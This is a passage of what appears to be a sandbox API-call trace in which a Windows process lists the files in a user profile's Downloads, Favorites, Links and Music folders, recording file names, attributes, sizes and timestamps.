ftLastWriteTime.dwHighDateTime=0x1d528b2, nFileSizeHigh=0x0, nFileSizeLow=0xdc38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yBWTsx0.xlsx", cAlternateFileName="YBWTSX~1.XLS")) returned 1 [0059.414] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb2db420, ftCreationTime.dwHighDateTime=0x1d4d46f, ftLastAccessTime.dwLowDateTime=0x2d4522c0, ftLastAccessTime.dwHighDateTime=0x1d4cf3c, ftLastWriteTime.dwLowDateTime=0x2d4522c0, ftLastWriteTime.dwHighDateTime=0x1d4cf3c, nFileSizeHigh=0x0, nFileSizeLow=0x8d97, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yNFdhsIRJWbx9.pptx", cAlternateFileName="YNFDHS~1.PPT")) returned 1 [0059.414] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f5a1350, ftCreationTime.dwHighDateTime=0x1d4ca71, ftLastAccessTime.dwLowDateTime=0xb2b6a1a0, ftLastAccessTime.dwHighDateTime=0x1d4c95a, ftLastWriteTime.dwLowDateTime=0xb2b6a1a0, ftLastWriteTime.dwHighDateTime=0x1d4c95a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Yw9G-4_B", cAlternateFileName="")) returned 1 [0059.414] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f5a1350, ftCreationTime.dwHighDateTime=0x1d4ca71, ftLastAccessTime.dwLowDateTime=0xb2b6a1a0, ftLastAccessTime.dwHighDateTime=0x1d4c95a, ftLastWriteTime.dwLowDateTime=0xb2b6a1a0, ftLastWriteTime.dwHighDateTime=0x1d4c95a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Yw9G-4_B", cAlternateFileName="")) returned 0 [0059.414] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.414] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.414] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6150 | out: hHeap=0x670000) returned 1 [0059.414] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.414] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\") returned="Downloads\\" [0059.414] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.414] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.414] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.414] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.414] PathFindFileNameW (pszPath="") returned="" [0059.414] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0059.415] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.415] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0059.415] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0059.415] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6150 | out: hHeap=0x670000) returned 1 [0059.415] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.415] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0059.415] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.415] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.415] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.415] PathFindFileNameW (pszPath="") returned="" [0059.415] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0059.416] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.416] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0059.416] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0059.416] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0059.416] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0059.416] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0059.416] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0059.416] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.416] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.416] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6150 | out: hHeap=0x670000) returned 1 [0059.416] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.416] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="Links\\" [0059.416] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.416] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.416] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.416] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.416] PathFindFileNameW (pszPath="") returned="" [0059.416] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.416] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.417] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.417] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0059.417] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0059.417] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0059.417] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0059.417] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0059.417] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.417] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.417] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31196b8 | out: hHeap=0x670000) returned 1 [0059.417] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.417] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\") returned="Local Settings\\" [0059.417] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.417] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.417] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.417] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.417] PathFindFileNameW (pszPath="") returned="" [0059.417] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0xffffffff [0059.417] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0059.417] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.417] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6150 | out: hHeap=0x670000) returned 1 [0059.417] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.418] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0059.418] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.418] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.418] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.418] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.418] PathFindFileNameW (pszPath="") returned="" [0059.418] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa79dbf0, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa79dbf0, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.418] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.418] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa79dbf0, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa79dbf0, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.418] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d22bcb0, ftCreationTime.dwHighDateTime=0x1d4c60c, ftLastAccessTime.dwLowDateTime=0x63b63d70, ftLastAccessTime.dwHighDateTime=0x1d4c6cd, ftLastWriteTime.dwLowDateTime=0x63b63d70, ftLastWriteTime.dwHighDateTime=0x1d4c6cd, nFileSizeHigh=0x0, nFileSizeLow=0x14e58, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-Utu5uTreh3_BFU.mp3", cAlternateFileName="-UTU5U~1.MP3")) returned 1 [0059.418] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb85e50, ftCreationTime.dwHighDateTime=0x1d4d4e0, ftLastAccessTime.dwLowDateTime=0xf39d96a0, ftLastAccessTime.dwHighDateTime=0x1d4c60e, ftLastWriteTime.dwLowDateTime=0xf39d96a0, ftLastWriteTime.dwHighDateTime=0x1d4c60e, nFileSizeHigh=0x0, nFileSizeLow=0xffe6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2ZgBE.wav", cAlternateFileName="")) returned 1 [0059.418] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd14f1010, ftCreationTime.dwHighDateTime=0x1d4d324, ftLastAccessTime.dwLowDateTime=0xed0a5370, ftLastAccessTime.dwHighDateTime=0x1d4cd7d, ftLastWriteTime.dwLowDateTime=0xed0a5370, ftLastWriteTime.dwHighDateTime=0x1d4cd7d, nFileSizeHigh=0x0, nFileSizeLow=0x5685, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3lDgGO6UTyrOsMHE.mp3", cAlternateFileName="3LDGGO~1.MP3")) returned 1 [0059.418] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42861c80, ftCreationTime.dwHighDateTime=0x1d4d030, ftLastAccessTime.dwLowDateTime=0x3982c970, ftLastAccessTime.dwHighDateTime=0x1d4d58b, ftLastWriteTime.dwLowDateTime=0x3982c970, ftLastWriteTime.dwHighDateTime=0x1d4d58b, nFileSizeHigh=0x0, nFileSizeLow=0x1466, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5V1FT5g1rxSJJ41de.m4a", cAlternateFileName="5V1FT5~1.M4A")) returned 1 [0059.418] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7767c00, ftCreationTime.dwHighDateTime=0x1d4ce07, ftLastAccessTime.dwLowDateTime=0x80224220, ftLastAccessTime.dwHighDateTime=0x1d4d25c, ftLastWriteTime.dwLowDateTime=0x80224220, ftLastWriteTime.dwHighDateTime=0x1d4d25c, nFileSizeHigh=0x0, nFileSizeLow=0x10653, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7HJiH UDq9SzzeN5I.m4a", cAlternateFileName="7HJIHU~1.M4A")) returned 1 [0059.418] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f527c90, ftCreationTime.dwHighDateTime=0x1d4cd33, ftLastAccessTime.dwLowDateTime=0x2f5e7490, ftLastAccessTime.dwHighDateTime=0x1d4ccc5, ftLastWriteTime.dwLowDateTime=0x2f5e7490, ftLastWriteTime.dwHighDateTime=0x1d4ccc5, nFileSizeHigh=0x0, nFileSizeLow=0x12a87, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8ywMFiXrJ1mJNTYk.wav", cAlternateFileName="8YWMFI~1.WAV")) returned 1 [0059.418] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x317333d0, ftCreationTime.dwHighDateTime=0x1d4d033, ftLastAccessTime.dwLowDateTime=0x3a397480, ftLastAccessTime.dwHighDateTime=0x1d4d244, ftLastWriteTime.dwLowDateTime=0x3a397480, ftLastWriteTime.dwHighDateTime=0x1d4d244, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bAXbPKiwKvGBE_6IlyS", cAlternateFileName="BAXBPK~1")) returned 1 [0059.418] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0059.418] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc2c61a0, ftCreationTime.dwHighDateTime=0x1d4c5ff, ftLastAccessTime.dwLowDateTime=0x6c755760, ftLastAccessTime.dwHighDateTime=0x1d4c65b, ftLastWriteTime.dwLowDateTime=0x6c755760, ftLastWriteTime.dwHighDateTime=0x1d4c65b, nFileSizeHigh=0x0, nFileSizeLow=0x359a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fnpi8zzFvSVq9mHNij76.wav", cAlternateFileName="FNPI8Z~1.WAV")) returned 1 [0059.418] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf63ff3d0, ftCreationTime.dwHighDateTime=0x1d4cef6, ftLastAccessTime.dwLowDateTime=0x8fc57a30, ftLastAccessTime.dwHighDateTime=0x1d4d1d5, ftLastWriteTime.dwLowDateTime=0x8fc57a30, ftLastWriteTime.dwHighDateTime=0x1d4d1d5, nFileSizeHigh=0x0, nFileSizeLow=0x12caa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HX-X27lPA60A4.m4a", cAlternateFileName="HX-X27~1.M4A")) returned 1 